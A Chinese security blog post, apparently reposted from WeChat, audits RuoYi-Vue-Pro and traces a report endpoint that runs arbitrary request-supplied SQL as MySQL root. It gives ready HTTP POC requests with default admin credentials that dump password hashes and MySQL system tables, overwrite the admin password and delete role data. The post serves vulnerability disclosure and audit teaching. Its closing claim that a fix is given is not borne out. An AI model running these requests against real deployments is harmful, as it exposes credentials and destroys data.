本文记录了在对RuoYi-Vue-Pro最新版进行代码审计时,发现并验证SQL注入漏洞的完整过程。通过工具告警追踪数据流,揭示系统因输入校验失效、直接执行原始SQL及数据库权限过大导致的注入风险,提供从信息泄露到DML执行的完整POC验证及修复思路。
本文记录了一次对若依框架(RuoYi-Vue-Pro最新版)进行代码审计时,发现并验证 SQL 注入漏洞的完整过程。适合有一定 Java 基础的开发者和安全爱好者阅读。
一、前言
SQL 注入作为 OWASP Top 10 的常客,至今仍在各类项目中屡见不鲜。许多人以为"用了框架就不会有 SQL 注入",但实际情况往往并非如此。
今天这篇文章,带大家走一遍完整的代码审计流程——从审计工具告警出发,到逆向追踪数据流,再到 POC 验证,最后给出修复思路。
二、审计起点:一个"中危"告警
日常使用自动化审计工具扫描代码库时,工具在 yudao-module-report 模块打出了一条告警:
漏洞ID: 35285漏洞编号:CWE-89风险等级:中危漏洞位置:GoViewDataServiceImpl.java:35漏洞描述:检测到SQL语句中使用了格式化字符串,可能导致SQL注入漏洞
对于这类告警,很多开发者的第一反应是 "这功能就是用来执行 SQL 的,算什么注入?" —— 别急,我们往下看。
源码链接:https://github.com/YunaiV/ruoyi-vue-pro/archive/refs/tags/v2026.05(jdk8/11).zip
三、代码走读:数据流追踪
先找到告警指向的代码。
3.1 Sink 点:Service 层
// GoViewDataServiceImpl.java@Service@Validatedpublicclass GoViewDataServiceImpl implements GoViewDataService {@Resourceprivate JdbcTemplate jdbcTemplate;@Overridepublic GoViewDataRespVO getDataBySQL(String sql){// 【告警点】直接执行用户传入的原始 SQL 字符串SqlRowSet sqlRowSet = jdbcTemplate.queryForRowSet(sql);// 解析结果集,构建返回数据...SqlRowSetMetaData metaData = sqlRowSet.getMetaData();String[] columnNames = metaData.getColumnNames();respVO.setDimensions(Arrays.asList(columnNames));// ...return respVO;}}
注意第 35 行:jdbcTemplate.queryForRowSet(sql) —— 直接把参数 sql 送进了数据库,没有任何过滤、没有任何参数化。
这是一个典型的 Sink 点:危险函数 + 外部可控输入 = 安全风险。
3.2 向上追踪:Controller 层
接着往上追,看 sql 参数从哪来:
// GoViewDataController.java@RestController@RequestMapping("/report/go-view/data")publicclass GoViewDataController {@Resourceprivate GoViewDataService goViewDataService;@RequestMapping("/get-by-sql")@PreAuthorize("@ss.hasPermission('report:go-view-data:get-by-sql')")public CommonResult<GoViewDataRespVO>getDataBySQL(@Valid@RequestBody GoViewDataGetBySqlReqVO reqVO){returnsuccess(goViewDataService.getDataBySQL(reqVO.getSql()));}}
关键信息:
·接口路径:POST /admin-api/report/go-view/data/get-by-sql
·鉴权:@PreAuthorize 限制,需要 report:go-view-data:get-by-sql 权限
·输入:reqVO.getSql() —— 完全由请求体控制
3.3 输入校验:形同虚设
再看看请求 VO 的校验:
// GoViewDataGetBySqlReqVO.java@Datapublicclass GoViewDataGetBySqlReqVO {@Schema(description ="SQL 语句", example ="SELECT * FROM user")@NotEmpty(message ="SQL 语句不能为空")privateString sql;}
只有一个 @NotEmpty —— 只检查了"不为空",但没有检查"是什么"。
你可以传 SELECT,也可以传 UPDATE、DELETE、DROP……
四、数据流全景
┌──────────────────────┐ │ 用户请求 │ │ {"sql": "任意SQL"} │ └────────┬─────────────┘ │ ▼ ┌──────────────────────┐ │ Controller │ │ @PreAuthorize 鉴权 │ ← ✅ 有权限控制 │ @NotEmpty 校验 │ ← ❌ 仅校验非空 │ reqVO.getSql() │ ← 直接取出原始 SQL └────────┬─────────────┘ │ ▼ ┌──────────────────────┐ │ Service │ │ jdbcTemplate │ ← ❌ 零过滤,零参数化 │ .queryForRowSet(sql) │ └────────┬─────────────┘ │ ▼ ┌──────────────────────┐ │ MySQL (root@localhost)│ ← ❌ root 最高权限 │ 执行任意 SQL │ └──────────────────────┘
结论:从用户输入到数据库执行,全程无安全控制。
五、POC 验证
光看代码不够,还得实际验证。以下所有数据包可直接导入 Yakit / Burp Suite 复现。
注意:项目默认未启用 report 模块(pom.xml 中被注释),且默认开启 API 加密(会拦截明文请求)。验证前需做两处改动:
1.取消 pom.xml 中 yudao-module-report 的注释并重新编译
2.在 application-local.yaml 中添加 yudao.api-encrypt.enable: false
Step 0:登录获取 Token
POST /admin-api/system/auth/login HTTP/1.1Host: localhost:48080Content-Type: application/jsontenant-id: 1{"username":"admin","password":"admin123"}
POC-1:正常查询,验证接口可用
POST /admin-api/report/go-view/data/get-by-sql HTTP/1.1Host: localhost:48080Content-Type: application/jsonAuthorization: Bearertenant-id: 1{"sql": "SELECT id, username, nickname FROM system_users LIMIT 3"}
正常返回用户列表——接口功能本身是正常的。
POC-2:泄露密码哈希 🔴
POST /admin-api/report/go-view/data/get-by-sql HTTP/1.1Host: localhost:48080Content-Type: application/jsonAuthorization: Bearertenant-id: 1{"sql": "SELECT username, password FROM system_users LIMIT 2"}
返回了 admin 和 yudao 两个用户的 bcrypt 密码哈希。
POC-3:跨库读取 MySQL 系统表 🔴
POST /admin-api/report/go-view/data/get-by-sql HTTP/1.1Host: localhost:48080Content-Type: application/jsonAuthorization: Bearertenant-id: 1{"sql": "SELECT user, host FROM mysql.user LIMIT 3"}
成功读取了 mysql.user 系统表。
POC-4:枚举全库表结构 🔴
POST /admin-api/report/go-view/data/get-by-sql HTTP/1.1Host: localhost:48080Content-Type: application/jsonAuthorization: Bearertenant-id: 1{"sql": "SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA='ruoyi-vue-pro' LIMIT 10"}
返回数据库所有表名,为精准攻击提供完整情报。
POC-5:数据库系统信息泄露 🔴
POST /admin-api/report/go-view/data/get-by-sql HTTP/1.1Host: localhost:48080Content-Type: application/jsonAuthorization: Bearertenant-id: 1{"sql": "SELECT @@version AS ver, @@datadir AS datadir, USER() AS db_user FROM DUAL"}
响应揭示了三个关键信息:
·数据库版本:8.0.12
·数据文件路径:D:phpstudy_proExtensionsMySQL8.0.12data
·当前连接用户:root@localhost(最高权限!)
POC-6/7:DML 语句(UPDATE/DELETE)🔴
{"sql": "UPDATE system_users SET password = 'hacked' WHERE id = 1"}{"sql": "DELETE FROM system_role_menu WHERE role_id = 1"}
代码层面对 SQL 类型没有任何限制,DML 语句原样传递到数据库。jdbcTemplate.queryForRowSet() 虽然主要用于查询,但底层 Statement.execute() 同样可以执行 UPDATE/DELETE。
六、为什么这个漏洞能存在?
回顾整个数据流,有四层防线全部失守:
|
防线 |
预期 |
实际 |
评价 |
|
输入校验 |
限制 SQL 类型为 SELECT |
仅 @NotEmpty,无类型校验 |
🔴 失守 |
|
Service 层 |
使用参数化查询 |
jdbcTemplate.queryForRowSet(sql) 直接拼接 |
🔴 失守 |
|
数据库账户 |
只读账户,最小权限 |
root@localhost,全部权限 |
🔴 失守 |
|
连接池配置 |
禁用多语句 |
multi-statement-allow: true |
🔴 放大危害 |
这就是典型的 纵深防御缺失——一道防线破了,后面没有更多的墙。
七、关键代码文件索引
|
文件 |
角色 |
|
yudao-module-report/.../GoViewDataController.java |
Controller 入口,接收用户 SQL |
|
yudao-module-report/.../GoViewDataGetBySqlReqVO.java |
请求 VO,仅校验非空 |
|
yudao-module-report/.../GoViewDataServiceImpl.java |
漏洞核心:直接执行原始 SQL |
|
yudao-server/.../application-local.yaml |
数据源配置(root 账户、multi-statement-allow) |
声明:本文仅供安全研究与学习交流使用,请勿利用文中技术进行未授权测试。代码修复方案已在文中给出,欢迎参考与讨论。
原文始发于微信公众号(知然安全):一次 SQL 注入代码审计实战:从发现到验证的完整过程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-










评论